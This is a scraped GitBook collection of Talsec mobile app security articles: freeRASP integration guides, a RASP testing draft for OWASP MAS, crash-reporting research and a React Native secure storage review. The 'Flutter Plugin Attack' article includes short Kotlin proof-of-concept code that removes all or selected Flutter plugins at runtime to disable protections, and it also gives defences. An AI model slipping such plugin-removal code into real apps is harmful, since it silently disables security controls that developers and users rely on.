Only this pageAll pages
Powered by GitBook
1 of 45

AppSec articles

Loading...

articles

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Podcast: iOS Keychain vs Android Keystore

Unlock the secrets of mobile security! In this insightful podcast, Devyany Vij (Senior Product Security Engineer @ Tide), Oleksandr Leushchenko @olexale (Google GDE, Engineer Manager @ Tide), and Tomáš Soukal (Senior Mobile Security Dev, Product Owner at Talsec) dive deep into the differences and unique capabilities of the Android Keystore and iOS Keychain—two essential tools every app developer should understand.

Discover how each platform protects sensitive data like encryption keys and passwords, what makes them secure, and how their access controls and hardware integrations work behind the scenes. Whether you’re building for Android, iOS, or both, you’ll get practical tips and clear explanations to help you choose the right approach for your next project. Perfect for developers who want to level up their app security knowledge—don’t miss it!

Big thanks to Majid Hajian @mhadaily (Azure & AI advocate @ Microsoft, Dart & Flutter community leader) for help with the production of this podcast

freeRASP for Unity Guide

Protect your Unity mobile game with freeRASP, a free and developer-friendly runtime application self-protection solution for Android and iOS.

🔐 Level Up Your Game’s Security with freeRASP for Unity

In today’s mobile landscape, securing your game isn’t just about protecting profits—it’s about preserving your players’ trust and ensuring fair gameplay. Whether you’re an indie developer or a full-blown game studio, runtime threats like app tampering, emulators, rooting, and unauthorized modifications are real dangers that can undermine your game’s performance and credibility.

That’s where freeRASP for Unity (Android + iOS) comes in.

🎮 Designed with Unity Devs in Mind

Talsec’s freeRASP solution is now natively available for Unity—a game-changer for developers targeting Android and iOS platforms. This early-release plugin empowers teams to effortlessly integrate robust runtime threat detection directly into their Unity-based games.

⚙️ Easy Integration, Powerful Protection

The official Unity plugin streamlines the setup process:

  • 📦 Drag-and-drop installation via .unitypackage

  • 🔐 Custom configuration for Android (via certificate hashes and package names) and iOS (using team identifiers and bundle IDs)

  • 🔁 Real-time threat detection callbacks integrated into your Game.cs or entry-point logic

This makes it simple to respond to threats like:

  • Emulator use

  • VPN or system proxy tunneling

  • Rooting or jailbreaking

  • Debugging and hooking attempts

  • Tampering, screen recording, or app repackaging

With built-in detection callbacks, you can proactively respond to these threats by triggering in-game behaviors or alerts that protect your app integrity.

🚀 Why It Matters for Game Developers

While Unity makes multiplatform publishing easier than ever, it also exposes your game to a wide surface area of potential exploits. Mobile cheaters and malicious actors often use rooted devices, simulators, or altered app binaries to bypass normal game logic or manipulate in-game currencies.

freeRASP gives you the armor your game deserves, acting like a security co-pilot as your players navigate your game world.

💡 Ready to Fortify Your Game?

Visit the to get started with installation, configuration, and callback integration. There’s no need to compromise between performance and protection—freeRASP for Unity delivers both.

Fact about the origin of the Talsec name

Talsec = Talos + Security

Talos, a remarkable figure in Greek mythology, was a giant bronze automaton, crafted either by Hephaestus or Daedalus. His sole duty was to protect the island of Crete, tirelessly patrolling its shores. Circling the island three times a day, Talos would hurl stones at approaching ships to fend off intruders, symbolizing unwavering vigilance and defense.

In essence, Talos embodies constant protection — just like Talsec’s approach to security.

Happy Cybersecurity Month — stay vigilant, stay secure!

Created with Bing AI

Exclusive Research: Unlocking Reliable Crash Tracking with PLCrashReporter for iOS SDKs

Crash tracking is a vital part of mobile app development, helping developers detect, diagnose, and resolve issues that affect user experience. Let's debunk common myths about crash tracking in SDKs.

Elevating SDK Stability with Advanced Crash Reporting

At Talsec, we are committed to delivering top-tier security SDKs, ensuring both reliability and seamless integration. To further enhance our quality assurance, we explored various crash-tracking solutions and successfully implemented a proof-of-concept (PoC) using PLCrashReporter – a lightweight and efficient crash-reporting framework.

Why Crash Tracking Matters

As our SDK portfolio grows – with offerings like , RASP+, and custom client adaptations – ensuring stability across different versions is a top priority. Introducing automated crash tracking empowers us to proactively address issues, minimize downtime, and enhance the overall developer experience.

Beyond stability, security and data privacy are core concerns for both us and our clients. Many third-party crash-tracking services collect and store crash data in ways that may not align with strict security policies. By opting for a custom implementation with PLCrashReporter, we ensure that crash data is handled entirely within our security guidelines, giving clients complete control over how and where their data is stored and transmitted.

Evaluating the Market: 3rd-Party Crash-Tracking Solutions

We assessed leading crash-tracking services based on framework size, ease of integration, and self-hosting capabilities. Here’s how they compare:

  • Sentry: Robust and open-source, but complex and premium-priced. (Framework size: ~20MB)

  • Bugsnag: Slightly lighter but lacks self-hosting. (Framework size: ~10MB)

  • Firebase Crashlytics: Closed-source and requires the full Firebase SDK, making it bulky. (Framework size: 100+MB; Oh wow, Google, seriously?)

  • Datadog: Primarily server-focused with intricate setup requirements. (Framework size: ~21MB)

While these services offer advanced features, they come with added complexity, costs, and potential privacy concerns. Many do not clearly document how crash reports are stored prior to submission, leaving uncertainty around data security between the moment of a crash and when the report reaches the server.

The Power of PLCrashReporter

To maintain efficiency and independence, we turned to PLCrashReporter – a lightweight, open-source crash-reporting framework for iOS/macOS. Key benefits include:

  • Compact footprint (4.2MB framework size)

  • Zero operational costs

  • Complete control over data collection and reporting

  • Open source nature enables secure on-device storage of crash data until transmission, reducing exposure risks

By integrating PLCrashReporter, we ensure that all crash data remains securely stored until it is explicitly sent to the designated endpoint. This provides an additional layer of security rarely addressed in third-party solutions, aligning with the highest standards of data privacy and compliance.

Seamless Integration & Compatibility Insights

We rigorously tested PLCrashReporter alongside common crash-reporting services to ensure compatibility:

  • Sentry (8.43.0): Fully compatible, with seamless integration.

  • Bugsnag (6.31.0): No issues, though some VPNs may block communication.

  • Firebase Crashlytics (11.7.0): Works but logs a non-critical warning.

  • Datadog (2.23.0): Conflict due to Datadog’s internal use of PLCrashReporter. A customized approach may resolve this.

Next Steps & Optimization

With our PoC validated, we are now focused on refining the integration by:

  1. Ensuring flawless coexistence with third-party crash reporters

  2. Optimizing data collection for more actionable privacy-focused crash insights

  3. Enhancing security mechanisms for even stronger data protection

Join the Conversation

We’re eager to collaborate with the developer community! If you have expertise in PLCrashReporter implementation, multi-SDK crash management, or advanced analytics integration, we’d love to hear from you.

Let’s build a smarter, more resilient crash-reporting ecosystem – together! Stay tuned for more updates on our progress.

How to test a RASP? OWASP MAS: RASP Techniques Not Implemented [MASWE-0103]

The updates in the OWASP Mobile Application Standard (MAS) for 2025 will incorporate a new MASWE called "RASP Techniques Not Implemented." Let us preview the contributed draft written by Talsec

Overview of "RASP techniques not implemented" weakness

RASP (Runtime Application Self-Protection) encompasses techniques such as root or jailbreak detection, unauthorised code or code execution, malware detection, system state, data logging and data flow. It provides a systematic, organised management approach to securing mobile applications in real time from potential threats.

These techniques:

  • Ensure that the application flow remains secure and untampered at all times.

  • Enable applications to detect and trigger responses to threats, such as:

    • Warning the user.

    • Killing the app.

    • Locking access to certain features.

Without RASP implementation, applications remain vulnerable to attacks during runtime. RASP techniques assure that the app continuously monitors both its own state and the device environment to detect threats like malware, root, or integrity issues.

Additional benefits of implementing these techniques might include:

  • Independent decoupled protection updates.

  • Remote configuration of security rules.

  • Threat intelligence gathering.

  • Fast security incident remediation.

  • Providing data for security analysis.

Speed and timing of checks is also important and crucial for response times and ensuring no gaps in detection rounds, with control timing checking sensitive steps in the app. Incorporating RASP into an app ensures continuous protection from threats, ultimately minimising risk and improving overall security.

Modes of Introduction

Mobile app security and user security can be disrupted in various scenarios, including:

  • The application does not comprehensively process information and fails to account for system weaknesses or its own vulnerabilities, potentially leading to breached environment integrity.

  • Direct reactions to detected threads are not properly executed or integrated into the application’s business logic.

  • Security rules cannot be effectively defined based on discovered weaknesses, as this approach lacks the broader perspective needed to address all potential threats and ensure comprehensive protection.

Impact

  • Loss of Control and Monitoring: One of the key advantages of RASP is the ability to continuously control and monitor the mobile app’s state and the device environment in real-time. Without these features, the application may fail to detect or respond to unauthorised modifications, malware presence, or tampering attempts.

  • Missed Threat Intelligence: Without continuous monitoring, security checks, and data logging, we lose a critical overview of potential threats, making it harder to identify emerging attack patterns and respond to malicious activities effectively.

  • Loss of Manageability and Updateability of Detection Techniques: Without RASP, applications lose the ability to update security rulesets, reset policies/settings, and adjust risk scoring in older or already released apps.

Mitigation

  • To enhance the security of your mobile application, implement detection mechanisms that continuously monitor the app's state and device environment.

  • Implement response actions for detected threats to mitigate potential risks, such as:

    • Killing the app,

    • Warning the user,

    • Logging information about potential risks to the database.

  • Use third-party solutions, which specialise in threat detection and real-time security monitoring (e.g. ).


How to test "RASP techniques not implemented"

RASP (Runtime Application Self-Protection) is designed to monitor and protect the application during runtime by detecting and responding to threats in real-time. The test verifies if the application can identify and react to malicious modifications, such as code tampering, root or jailbreak environment, and attempts to bypass security mechanisms. It also checks if the application has the ability to protect sensitive data and prevent unauthorised access to critical operations or features.

By conducting this test, we ensure that the app is capable of defending against runtime attacks and maintaining its integrity even in compromised environments. If RASP techniques are not implemented or are improperly configured, the app may be vulnerable to various security threats, including data breaches, unauthorised access, and malicious modifications.

Steps

  1. Ensure that all security checks and protection mechanisms expected from RASP are present and enabled with the application. To test the RASP policy that the app enforces, a written copy of the policy must be provided. The policy should define available checks and their enforcement. For example:

    • Root detection.

    • Screen lock enforcement.

    • Code integrity checks.

    • Detection of dynamic analysis.

  2. Based on the previous step, attempt to simulate threats to test if the application reacts as expected. This can involve various scenarios such as:

    • Launching the mobile application on a rooted device.

    • Launching the mobile application on a device without a screen lock enabled.

    • Attempting to repackage the application and launching it.

    • Launching the application in an emulator.

  3. Verify that the application properly detects and responds to potential threats. There are various scenarios in which a mobile application can respond to these threats, such as:

    • Killing the app.

    • Warning the user about the detected threat.

    • Logging information about potential risks to a database or SIEM.

Observation

The output depends on the specific reactions set up for the mobile application. The results should demonstrate the app’s behaviour when a threat is detected or triggered, for example:

  • Application is terminated.

  • Application displays a warning message.

  • Application sends information to a database or SIEM. Testers should ensure that the collected threat intelligence data are rich enough.

Evaluation

The test case fails if the mobile application does not react as expected to the detected threats.

written by Martin Žigrai, Tomáš Soukal

Detect system VPNs with freeRASP

System VPNs may be used to mask illicit activities, evade compliance controls, or access services from unauthorized regions.

Detecting a running VPN service on mobile devices is critical for security-sensitive applications, as it can indicate potential privacy and security risks. VPNs can obscure the user’s actual IP address and route data through servers potentially under external control, which might interfere with geographical restrictions and bypass network security settings intended to protect data integrity and confidentiality.

Such anonymizing features could be exploited to mask illicit activities, evade compliance controls, or access services from unauthorized regions. FreeRASP checks whether the system VPN is enabled.

freeRASP

Tomáš Skýpala, iOS SDK development team

Cover

Introduction

Featured AppSec Collections

Mobile and API Threat Detection & Defense (Rooting, Hooking, Reverse Engineering)

Technical articles focused on advanced strategies to detect and defend against mobile threats, including rooting, hooking, reverse engineering, and API abuse.

How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps

Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources

Emulators in Gaming: Threats and Detections

Hacking and protection of Mobile Apps and backend APIs | 2024 Talsec Threat Modeling Exercise

Detect system VPNs with freeRASP

Safeguarding Your Data in React Native: Secure Storage Solutions

Obfuscation of Mobile Apps

Talsec RASP+, AppiCrypt and freeRASP Guides and Features

This collection highlights cutting-edge tools and resources from Talsec designed to secure mobile apps through runtime application self-protection (RASP), API integrity checks, and anti-abuse measures.

React Native Secure Boilerplate 2024: Ignite with freeRASP

Mobile API Anti-abuse Protection with AppiCrypt®: A New Play Integrity and DeviceCheck Alternative

Introducing Talsec’s advanced malware protection!

Enhancing Capacitor App Security with freeRASP: Your Shield Against Threats 🛡️

Build secure apps in React Native

Flutter Security

At Talsec, we’re proud to lead the way as the #1 Flutter Security SDK, and our commitment to this growing framework runs deep. This curated collection showcases our ongoing efforts to protect Flutter apps.

OWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter

OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter

OWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in Flutter

OWASP Top 10 For Flutter – M4: Insufficient Input/Output Validation in Flutter

OWASP Top 10 For Flutter - M5: Insecure Communication for Flutter and Dart

OWASP Top 10 For Flutter – M6: Inadequate Privacy Controls in Flutter & Dart

Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources

User Authentication Risks Coverage in Flutter Mobile Apps | TALSEE

Secure Storage: What Flutter can do, what Flutter could do

🔒 Flutter Plugin Attack: Mechanics and Prevention

How to Hack & Protect Flutter Apps — Simple and Actionable Guide (Pt. 1/3)

How to Hack & Protect Flutter Apps — OWASP MAS and RASP. (Pt. 2/3)

How to Hack & Protect Flutter Apps — Steal Firebase Auth token and attack the API. (Pt. 3/3)

Missing Hero of Flutter World

Reports & Original Research

In-depth reports and original research articles focused on mobile app security, fraud prevention, and API protection.

Exclusive Research: Unlocking Reliable Crash Tracking with PLCrashReporter for iOS SDKs

How to test a RASP? OWASP MAS: RASP Techniques Not Implemented [MASWE-0103]

Flutter CTO Report 2024: Flutter App Security Trends

Fraud-Proofing an Android App: Choosing the Best Device ID for Promo Abuse Prevention

Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft

5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s

Latest Articles

Articles by our team members and guest experts (become one of them) that explore practical mobile security and threat defense topics for the developer community.

🔒 Flutter Plugin Attack: Mechanics and Prevention

Did you know that you can remove plugins dynamically from a Flutter app on Android?

During the implementation of a new feature on freeRASP (more about it ), we noticed that unregistering of plugins is possible using the class. While it may seem unimportant, we decided to push the limits and explore potential attack vectors tthat could lead to the complete disabling of plugins from an external source. As a result, we conducted a small check of the plugin architecture security on Flutter. During this investigation, we discovered what we consider to be a serious problem.

Malicious plugin can remove other plugins at runtime

In Flutter, the class plays a crucial role in managing plugins. The generated GeneratedPluginRegistrant class utilizes it to register plugins, which are then executed during startup. However, you have the flexibility to create your own plugins, acquire plugin instances, and even unregister plugins if needed. Therefore you can create plugin which removes other plugins:

If you have a class reference available, you can also selectively remove specific plugins:

This can even be also achieved directly from your app’s MainActivity on Android (which extends FlutterActivity) without the need for malicious plugin. By leveraging a bit of reverse engineering and code injection (similar to what we discussed in our ), you can achieve this:

How can you secure your app?

You can follow these measures if you want to make sure, that your code is protected againsts such attacks:

🔒 Opt for reputable plugins — Choose well-maintained plugins with a considerable number of likes and positive user feedback.

🔒 Inspect the plugin’s source code — Take a closer look at the codebase for any suspicious lines or potential vulnerabilities.

🔒 Always obfuscate your application — Apply obfuscation techniques to make your app less readable and more obscure.

How do we secure our solution?

We faced the same issue at Talsec (link), while trying to hack our own products + and which are critical security components and should have maximum resilience. Finding at least a partial solution was very important to us. In our RASP solution, (coincidentally) solves this problem.

RASP (Runtime Application Self Protection) Security technique that actively defends application by real-time controlling the security state of the device, integrity of the OS and App.

For context, AppiCrypt is an app attestation tool that protects your API by generating a cryptogram — information about the security state of the device, which is then used in the request header. The backend then checks the cryptogram to determine whether the device is compromised and decides whether to allow or deny the request.

Since the plugin cannot generate a cryptogram (CryptogramFailureException is thrown due to the PlatformExceptionthrown by MethodChannel), the app can be considered untrustworthy. Without a cryptogram, you cannot make network requests backed by AppiCrypt.

Therefore, as a security measure, we can also add:

🔒 Dynamically validate plugin functionality — If the plugin throws a PlatformException, it can indicate that it is unable to communicate with the native side.

While it won’t directly tell you that the plugin has been disconnected, it can give a hint that something unusual is going on.

Stay safe and code with confidence! 💪

Written by Jaroslav Novotný — Flutter developer

// Standard callback for every Flutter plugin on Android
override fun onAttachedToEngine(flutterPluginBinding: FlutterPlugin.FlutterPluginBinding) {
    // Let's remove them all
    flutterPluginBinding.flutterEngine.plugins.removeAll()
}
override fun onAttachedToEngine(flutterPluginBinding: FlutterPlugin.FlutterPluginBinding) {
    // Registering plugin
    flutterPluginBinding.flutterEngine.plugins.remove(PoorPlugin::class.java)
}
// We are now at the app level
class MainActivity : FlutterActivity() {
    // Standard Android lifecycle method - called when the app starts
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // Removing all plugins
        flutterEngine?.plugins?.removeAll()
    }
}
here
FlutterEngine
FlutterEngine
recent article
RASP
freeRASP
AppiCrypt

How to Achieve Root-Like Control Without Rooting: Shizuku's Perils & Talsec's Root Detection

freeRASP for Unity Guide [new!]

ApkSignatureKiller: How it Works and How Talsec Protects Your Apps

AI Device Risk Summary Demo | Threat Protection | Risk Scoring | Malware Detection | Android & iOS

Podcast: iOS Keychain vs Android Keystore

Obfuscation of Mobile Apps

OWASP Top 10 For Flutter – M6: Inadequate Privacy Controls in Flutter & Dart

Simple Root Detection: Implementation and verification

Flutter - M5: Insecure Communication for Flutter and Dart

OWASP Top 10 For Flutter – M4: Insufficient Input/Output Validation in Flutter

OWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in Flutter

OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter

OWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter

🚀A Developer’s Guide to Implement End-to-End Encryption in Mobile Apps 🛡️

Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources

Learn how to implement the Secure Storage in Flutter and understand storage restrictions.

Dive into our full guide as Himesh Panchal walks you through creating a robust and secure authentication flow!

Introduction: Root Detection Basics

OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter

Hook, Hack, Defend: Frida's Impact on Mobile Security & How to Fight Back

Emulators in Gaming: Threats and Detections

Exclusive Research: Unlocking Reliable Crash Tracking with PLCrashReporter for iOS SDKs

How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps

How do you test a RASP? This guide will walk you through the entire process of RASP evaluation. It is written for penetration testers and RASP integrators.

Fact about the origin of the Talsec name

React Native Secure Boilerplate 2024: Ignite with freeRASP

Hacking and protection of Mobile Apps and backend APIs | 2024 Talsec Threat Modeling Exercise

Flutter CTO Report 2024: Flutter App Security Trends

Mobile API Anti-abuse Protection with AppiCrypt®: A New Play Integrity and DeviceCheck Alternative

Detect system VPNs with freeRASP

Introducing Talsec’s advanced malware protection!

Fraud-Proofing an Android App: Choosing the Best Device ID for Promo Abuse Prevention

Enhancing Capacitor App Security with freeRASP: Your Shield Against Threats 🛡️

Safeguarding Your Data in React Native: Secure Storage Solutions

Secure Storage: What Flutter can do, what Flutter could do

🔒 Flutter Plugin Attack: Mechanics and Prevention

Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft

Build secure apps in React Native

How to Hack & Protect Flutter Apps — Simple and Actionable Guide (Pt. 1/3)

How to Hack & Protect Flutter Apps — OWASP MAS and RASP. Use them and your project will cut the mustard! (Pt. 2/3)

How to Hack & Protect Flutter Apps — Steal Firebase Auth token and attack the API. (Pt. 3/3)

freeRASP meets Cordova

Philosophizing security in a mobile-first world

5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s

Missing Hero of Flutter World

Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover
Cover

Missing Hero of Flutter World

Flutter is a beautiful framework for building pretty and natively compiled mobile, web, and desktop applications. Thanks to its simplicity and developer-friendly way of building applications, it’s gaining popularity around the world. However, with great power comes great responsibility. As unlikely as it seems, Flutter applications face the same issues as their native siblings — security attacks.

freeRASP — Community-drive In-App Protection and User Safety suite by Talsec

Should I care about security?

The answer is yes, you should. Security engineering should always be your first step. The moment you take your development more seriously, security becomes your top concern. Whether you develop a simple attendance app or a demanding health, FinTech, or automotive application, you shouldn’t make any concessions in security, especially if you deal with personal data and/or finance transactions.

But I have heard Flutter apps aren’t susceptible to attacks or what?

You could argue that reverse engineering of Flutter apps is not being done very often, and even if it is done, it’s complicated to get something. Your production build is compiled without debugging symbols, and compiled apps are usually harder to crack. Well, that’s true, for now. But first of all, this approach is nothing short of a hide and seek game — you will be caught, and time is playing against you. And second of all, complicated does not mean impossible.

Based on our experience, the following attacks are already possible:

  • App repackaging and cloning

  • Re-publishing of tampered apps

  • Running the App in compromised OS environments (rooted/jailbroken OS, hooking app during runtime, emulators)

  • Overlay and Cloak&Dagger attacks

  • Misuse of Accessibility Services

  • Stealing of hard-coded secrets

A common sign of intrusion on mobile devices is the presence of a root user. A root can do pretty much anything in the system. If we let our Flutter application work normally on a rooted device, we expose it to a possible attack/security breach just because the device’s state is compromised.

Applications need shields and swords to defend themselves — they need RASP (Runtime Application Self-Protection).

In Talsec, we noticed that RASP solutions at that time were not in good condition. We decided to do it our own way. And that’s how freeRASP was born — created to protect Flutter applications conveniently.

How does freeRASP for Flutter differ from its native siblings?

Cross-platform development frameworks, in general, suffer when platform-specific problems need to be solved. Sacrificing security to be able to do cross-platform development is a no-go. We already had experience with both native Android and iOS platform protection. The only question was how to do it for Flutter.

freeRASP loves Flutter

Luckily, in Flutter, you can expose native APIs. If you want to expose native API or implement a platform-specific library, you have to do the implementation for each platform separately. This means you have to understand the specifics of each platform — from low-level coding to system architecture specifics. You have to write a glue code between the native and Flutter side and some API to reuse implementation in other projects. Finally, you have to do tons of testing and verification. In a nutshell — long, cumbersome and exhausting process.

We decided to overcome this gap for you — we created freeRASP for Flutter. Our team did all the work you would typically need to do and shipped it to a pub.dev.

What was the result?

This had many positive effects:

  • made Flutter safer for everyone

  • contributing to the Flutter community by adding a plugin to pub.dev, which led to…

  • getting closer with the Flutter community so that we can listen to any opinion and making our product even better

We wanted to make Flutter safer because we saw its potential. The fast world needs fast development — that’s what Flutter does perfectly well. We also want to help Flutter grow so that more people can appreciate its advantages and raise awareness about security between Flutter developers. freeRASP is a real game-changer. The developer gets a nice and tidy plugin, and the user receives a secure application.

Okay, but how do I use it in my app?

Implementation of freeRASP for Flutter is pretty simple. After initial importing, you just set up some initial configuration and callbacks. And that’s it!

See a full code example here

From now on, freeRASP has your back covered and makes reports for you, so you have an overview of your application security. Make sure you accept an email confirmation request from the system to be able to receive these reports.

Example of security report

This example presents a mid-sized FinTech app:

Check original report example here (warning, big picture ~2.29 MB)

You can find freeRASP for Flutter plugin on pub.dev. There is also a step-by-step guide to help you with implementation. If you like our plugin, don’t forget to give it a like.

Summary

Security is essential, even though we tend to forget about it when it comes to cross-platform applications. freeRASP provides a plugin for Flutter that solves this problem, and it’s easy to use. So what are you waiting for?

Useful links

If you want to know more about freeRASP, don’t forget to bookmark these links:

  • Medium — article about freeRASP’s features

  • GitHub repository — main repository containing all necessary information

  • pub.dev — Flutter plugin

  • About freeRASP in general: https://medium.com/geekculture/freerasp-in-app-protection-sdk-and-app-security-monitoring-service-de12d8e49400

written by Jaroslav, Flutter developer at Talsec

Enhancing Capacitor App Security with freeRASP: Your Shield Against Threats 🛡️

In an increasingly interconnected world, the need for robust application security has never been more critical. Capacitor, with its remarkable ability to build cross-platform apps using web technologi

In an increasingly interconnected world, the need for robust application security has never been more critical. Capacitor, with its remarkable ability to build cross-platform apps using web technologies, empowers developers to create stunning applications with ease. However, as the capabilities of our apps grow, so does the importance of safeguarding them against a myriad of potential threats.

With a native runtime such as Capacitor, it is fairly easy to turn any web app into native apps for both Android and iOS. You can quickly use the native APIs and access common device functionality, which is awesome, but at the same time, it adds another level of complexity because when you access native APIs, you are imposing yourself to native security issues as well. And trust me, you don’t want to underestimate these challenges.

As a practical example, consider one of the most common security concerns: reverse engineering. Mobile apps are typically distributed in formats like APK (for Android), AAB (Android App Bundles), or IPA (for iOS). These distribution files contain bundled JavaScript code essential for the application’s functionality.

Despite attempts to obfuscate the code through minification and adhering to industry standards like OWASP MASVS (Mobile Application Security Verification Standard), a person with the necessary knowledge can still extract your code with relative ease. There are even utilities like JSTool that can effectively reverse the minification and reveal the original code, potentially exposing sensitive keys and API calls. Afterwards, it’s all in the hands of the attacker.

Successful attacks like these may lead to loss of revenue, exposure of sensitive data, damage to the brand and reputation or leaked intellectual property. And that’s where we want to help you.

What is freeRASP?

Talsec freeRASP is a freemium mobile security SDK designed to make app protection straightforward and accessible. It offers robust protection against a range of threats and is supported on both Android and iOS platforms. freeRASP also provides customized modules for a number of multi-platform tools, now including Capacitor.

From a developer’s perspective, freeRASP acts as an additional protective layer, simplifying the handling of certain attack vectors. This allows you to focus on other critical aspects of your app while safeguarding your users. freeRASP can detect and inform you about various attack scenarios, including reverse engineering, repackaging, cloning attempts, and much more.

Join us as we explore how freeRASP integrates with Capacitor, helping you defend your apps against attacks and vulnerabilities, and ultimately, ensuring your users’ safety. Say hello to enhanced security and peace of mind for your Capacitor apps — let’s dive in.

Why Do You Need RASP?

Mobile app security is a complex challenge that goes beyond traditional security measures like encryption and certificate pinning. Attackers constantly seek vulnerabilities in your app that may not be immediately obvious. A single security breach can have severe consequences for your reputation and user trust.

The need for Runtime Application Self-Protection (RASP) solutions has grown significantly with the rise of mobile technologies. While there are several security libraries available, freeRASP stands out by offering comprehensive protection across various attack vectors.

Based on our experience, a selection of the most common attacks include:

  • App repackaging and cloning

  • Re-publishing of tampered apps

  • Running the App in compromised OS environments (rooted/jailbroken OS, hooking app during runtime, emulators)

freeRASP is designed to detect and mitigate these types of attacks, providing an extra layer of defense against evolving threats.

Integrating freeRASP with Capacitor

Now, let’s dive into the process of integrating freeRASP with the Capacitor platform. You can always find up-to-date integration manual along with detailed description of configuration in our GitHub Integration Guide.

Step 1: Install the Plugin

To get started, install the capacitor-freerasp plugin:

$ npm install capacitor-freerasp
$ npx cap sync

Step 2: Set Up Dependencies

For Android, ensure that your project’s minimum SDK level is set to 23. Update your variables.gradle file accordingly:

ext {
    minSdkVersion 23
    compileSdkVersion 33
    // ...
}

Step 3: Setup Configuration and Callbacks

Import freeRASP in your app’s entry point file:

import { startFreeRASP } from 'capacitor-freerasp';

Configure freeRASP by providing the necessary settings. You’ll need to specify configuration for both Android and iOS, as well as common configuration options. Here’s a sample configuration:

const config = {
  androidConfig: {
    packageName: 'com.yourapp.package',
    certificateHashes: ['yourSigningCertificateHashBase64'],
    supportedAlternativeStores: ['storeOne', 'storeTwo'],
  },
  iosConfig: {
    appBundleId: 'com.yourapp.bundle',
    appTeamId: 'yourTeamID',
  },
  watcherMail: '[email protected]',
  isProd: true,
};

Additional Note About Obfuscation

To enhance security, consider obfuscating your app’s code. Obfuscation makes it harder for attackers to reverse engineer your app and disrupt freeRASP’s operations. You can enable code minification and obfuscation for Android in your build.gradle file:

android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        }
    }
}

Security Report

With this weekly summary, you get insights into your app’s security state, including detected threats and device characteristics. By keeping an eye on these reports, you can proactively address security issues before they become too severe and make your app even safer for users. If you are curious how such report looks like, take a look at the screenshot below 👇.

Commercial Versions (RASP+ and More)

While freeRASP offers a robust free version, Talsec also provides commercial versions like RASP+ with advanced features and support. These versions offer additional protection, including API protection, App Integrity Cryptogram (AppiCrypt®), security hardening, and more.

RASP+ allows easy-to-implement API protection and App Integrity verification on the backend to prevent API abuse from:

  • Bruteforce attacks

  • Botnets

  • API abuse by App impersonation

  • Session-hijacking

  • DDoS

It is a unified solution that works across all mobile platforms without dependency on external web services (i.e., without extra latency, an additional point of failure, and maintenance costs).

Learn more about commercial features at talsec.app.

Finally, stay protected before it’s too late 😎

If you read through the whole article, thank you. Maybe now it’s time to check out freeRASP. It’s free, so there’s nothing to lose and who knows, maybe it will save you from a couple of sleepless nights.

We’d be happy to read your thoughts in the comments below 👇 or in one of our GitHub repos 📄.

Written by Tomas Psota, developer @ Talsec

Safeguarding Your Data in React Native: Secure Storage Solutions

While there are multiple options when it comes to choosing a library that implements secure storage in React Native, it is crucial to ensure that the data are stored properly and ideally without any known vulnerabilities. At Talsec, we made an effort to go through the most popular packages, so you can get an image of what is on offer.

This article assumes you are familiar with:

  • How data storage works on native platforms

  • Android Keystore, Keychain and how they are used

How to approach secure storage challenges?

Recently, the Talsec team started to support React Native by providing the freeRASP and RASP+ SDKs. We are currently exploring ways how we could go even further and are considering to add a secure storage solution that would follow the latest security standards. In order to proceed, we evaluated the existing secure storage options within React Native and seek input from the community to understand your expectations regarding this feature.

We would love to share our findings so far with a brief description of various secure storage packages available for React Native, along with their benefits and potential vulnerabilities:

1. react-native-keychain

  • ✅ Pros: This is a popular package that securely stores sensitive information using the Keychain on iOS and the Keystore on Android. It encrypts data and provides secure storage for confidential data.

  • ⛔️ Cons: While react-native-keychain provides secure storage, it is not immune to all vulnerabilities. The package stores sensitive information, e.g. username and password in clear text in the keychain file, and you can find several concerning issues that are open on GitHub, mentioning that the data from iOS keychain can be retrieved. On top of that, it can only store username/password combination.

2. react-native-encrypted-storage

  • ✅ Pros: react-native-encrypted-storage is another third-party library that offers secure storage for sensitive data. It uses EncryptedSharedPreferences on Android and Keychain on iOS, encrypts data using AES-256 encryption, providing an extra layer of security.

  • ⛔️ Cons: There are some memory leaks detected by Xcode profiler and Keychain is not cleared when your app is uninstalled on iOS — this issue, however, is well documented and can be fixed.

3. rn-secure-storage

  • ✅ Pros: rn-secure-storage encrypts data using AES-256 encryption and securely stores it on the device. Plus, it can store any [key, value] pair.

  • ⛔️ Cons: The implementation uses secure-preferences package to store the data, which is nowadays deprecated and it is encouraged to use EncryptedSharedPreferences from androidx.security instead.

4. react-native-async-storage

Okay, this package doesn’t implement any kind of secure storage and is not intended to store any sensitive data. However, it is still a popular solution for data storage in React Native, prompting us to mention it in this article as well.

  • ✅ Pros: Offers a simple asynchronous storage. It is built on top of the original React Native’s AsyncStorage and provides a convenient API for storing and retrieving data.

